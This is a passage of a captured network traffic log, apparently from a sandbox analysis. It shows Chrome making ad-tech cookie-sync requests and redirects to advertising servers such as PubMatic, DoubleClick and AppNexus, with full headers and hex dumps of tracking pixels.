2024-03-28 08:51:33 UTC	770	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=847CD017CFA04EE58AAA8C55A751BC64
2024-03-28 08:51:33 UTC	693	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Thu, 28 Mar 2024 08:51:33 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:847CD017CFA04EE58AAA8C55A751BC64 Expires: Wed, 27 Mar 2024 08:51:33 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-03-28 08:51:33 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	50211	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:33 UTC	780	OUT	GET /sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26; mt_mop=; mt_misc=mt_bt:1
2024-03-28 08:51:33 UTC	495	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 28 Mar 2024 08:51:33 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x2 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://onetag-sys.com/match/?int_id=1&uid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&gdpr=0&gdpr_consent= Expires: Thu, 28 Mar 2024 08:51:32 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	50291	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:34 UTC	1009	OUT	GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID HTTP/1.1 Host: image8.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KTPCACOOKIE=YES; KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; chkChromeAb67Sec=1; pi=156136:2; DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; SyncRTB3=1712793600%3A250_3_166_21_13_54_71_104_220%7C1712188800%3A223
2024-03-28 08:51:34 UTC	1131	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent= P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: SyncRTB3=1712793600%3A166_13_54_104_3_21_71_220_250%7C1712188800%3A223_15; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: ipc=159706^https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D%24%7BGDPR%7D%26gdpr_consent%3D%24%7BGDPR_STRING%7D%26uid%3D%23PMUID^2^0; domain=pubmatic.com; path=/; max-age=3; SameSite=None; secure; Set-Cookie: pi=159706:3; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 28 Mar 2024 08:51:33 GMT Content-Length: 182 Connection: close
2024-03-28 08:51:34 UTC	182	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 75 62 6d 61 74 69 63 2d 6d 61 74 63 68 2e 64 6f 74 6f 6d 69 2e 63 6f 6d 2f 6d 61 74 63 68 2f 62 6f 75 6e 63 65 2f 63 75 72 72 65 6e 74 3f 6e 65 74 77 6f 72 6b 49 64 3d 31 37 31 30 30 26 61 6d 70 3b 76 65 72 73 69 6f 6e 3d 31 26 61 6d 70 3b 6e 75 69 64 3d 30 31 46 35 33 32 38 41 2d 43 34 44 39 2d 34 34 41 44 2d 38 34 36 38 2d 36 30 41 38 38 35 32 34 37 43 36 38 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	50208	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:34 UTC	840	OUT	GET /merge?pid=76&3pid=412063c9-af57-0892-2e1b-e0b2f8a819b5&gdpr=0&gdpr_consent= HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D
2024-03-28 08:51:34 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:34 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_76=412063c9-af57-0892-2e1b-e0b2f8a819b5; Path=/; Domain=.lijit.com; Expires=Fri, 28-Mar-2025 08:51:34 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D; Path=/; Domain=.lijit.com; Expires=Fri, 28-Mar-2025 08:51:34 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; Path=/; Domain=.lijit.com; Expires=Fri, 28-Mar-2025 08:51:34 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-03-28 08:51:34 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	50333	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	757	OUT	GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092; _ssuma=eyIyNCI6MTcxMTYxNTg5MTQ3NSwiMzkiOjE3MTE2MTU4OTE0NzUsIjciOjE3MTE2MTU4OTE0NzV9
2024-03-28 08:51:35 UTC	860	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092; Domain=.sitescout.com; Expires=Fri, 28-Mar-2025 08:51:35 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyIyNCI6MTcxMTYxNTg5MTQ3NSwiMzkiOjE3MTE2MTU4OTE0NzUsIjE3IjoxNzExNjE1ODk1ODI3LCI3IjoxNzExNjE1ODkxNDc1fQ; Domain=.sitescout.com; Expires=Sat, 27-Apr-2024 08:51:35 GMT; Path=/; Secure; SameSite=None location: https://us-u.openx.net/w/1.0/sd?id=537072977&val=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 28 Mar 2024 08:51:35 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	50337	162.55.236.225	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	682	OUT	GET /6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0 HTTP/1.1 Host: sync.richaudience.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
2024-03-28 08:51:35 UTC	438	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:06 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.2.4 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; expires=Wed, 26 Jun 2024 08:51:06 GMT; Max-Age=7776000; path=/; domain=.richaudience.com; secure; HttpOnly; SameSite=None
2024-03-28 08:51:35 UTC	106	IN	Data Raw: 35 66 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 5fPNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	50313	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	567	OUT	GET /cacheid/1711615889919.69407391658313378 HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:35 UTC	690	IN	HTTP/1.1 200 OK access-control-allow-headers: * access-control-allow-methods: GET, POST, PATCH, PUT, DELETE, OPTIONS access-control-allow-origin: * access-control-allow-private-network: true cache-control: private, max-age=2211987600, immutable content-type: image/gif expires: Tue, 28 Mar 2034 08:51:35 UTC expiry: Tue, 28 Mar 2034 08:51:35 UTC last-modified: Mon, 02 Nov 2020 09:00:00 GMT Content-Encoding: gzip X-Cloud-Trace-Context: addaa3aa44ad7ce0ef68c43c70f7c141 Vary: Accept-Encoding Date: Thu, 28 Mar 2024 08:51:35 GMT Server: Google Frontend Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:35 UTC	235	IN	Data Raw: 30 30 30 30 30 30 30 31 0d 0a 1f 0d 0a 30 30 30 30 30 30 30 31 0d 0a 8b 0d 0a 30 30 30 30 30 30 30 31 0d 0a 08 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a 00 0d 0a 30 30 30 30 30 30 30 31 0d 0a ff 0d 0a 30 30 30 30 30 30 30 31 0d 0a 72 0d 0a 30 30 30 30 30 30 30 31 0d 0a f7 0d 0a 30 30 30 30 30 30 30 31 0d 0a 74 0d 0a 30 30 30 30 30 30 31 0d 0a b3 0d 0a 32 62 0d 0a b0 4c 64 64 60 64 68 60 60 60 65 61 61 60 60 d0 61 60 60 60 00 89 30 30 31 b9 30 32 58 03 02 00 00 ff ff 18 16 3e 17 23 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 0000000100000001000000010000000100000001000000010000000100000001000000010000000100000001r0000000100000001t00000012bLdd`dh```eaa``a```00102X>#0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	50295	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	1137	OUT	GET /pcs/view?xai=AKAOjsuMPUa6QWqUXjOB1gesXf5CW0gIWxO8FTM0U7omD4p-MV8yaS2PF_rYmIEFuphM0EKP6fptMkjhtOJr2Tlg-VyAFLaXsUqqbalYjnwWRZmwlzmbTNHz54VuUVUCSULzupwIyCbIjZ8_iRMC3f6kLUZY2eSoViAogLGAqLs_BktSLly4thJQoQ-ilz6JNKtpsygcsZ2yjfV_sOZ1pJxpiHhmdDL7mmF4fZIKQhaAC-rZbJsIqGJr6s1jTp03RufZnLiXUEg0s6kQYinKEvX3D4XYmUPKYtagyVZSqMuc00gmUEzlzqayJ6jc5EyH5aD-nMRfT5DwLw5jHf2GZ-6FO0XvikBSajgDkRo_-N9wSC5uYQ&sai=AMfl-YRrRRxy3bKc2ZUt2PMHDQgiOs50SKxC0PYJp7PBvsX89WBGTVLyvtj-AU8lh2OFvluEh3gLjEuNFGeRn9vkvKkQaLxwWdoN3ZP1ilqE1Y1mBc0XUv0CHLsf9sgS2kz-9QI79xY_cRmzPQhj7Ly4AIo&sig=Cg0ArKJSzF8Hp6VDb2bqEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:36 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 28 Mar 2024 08:51:35 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	50314	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	851	OUT	GET /pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:35 UTC	662	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent= Date: Thu, 28 Mar 2024 08:51:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:35 UTC	301	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 6a 73 2f 75 73 65 72 5f 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 31 35 36 35 37 38 26 61 6d 70 3b 70 72 65 64 69 72 65 63 74 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	50307	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	913	OUT	GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D0%26gdpr_consent%3D%26uid%3D$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:35 UTC	1451	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://onetag-sys.com/match/?int_id=98&gdpr=0&gdpr_consent=&uid=3287041831475129344 AN-X-Request-Uuid: 36f48295-d8a6-4b60-ae34-d8494cfd864d Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	50308	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
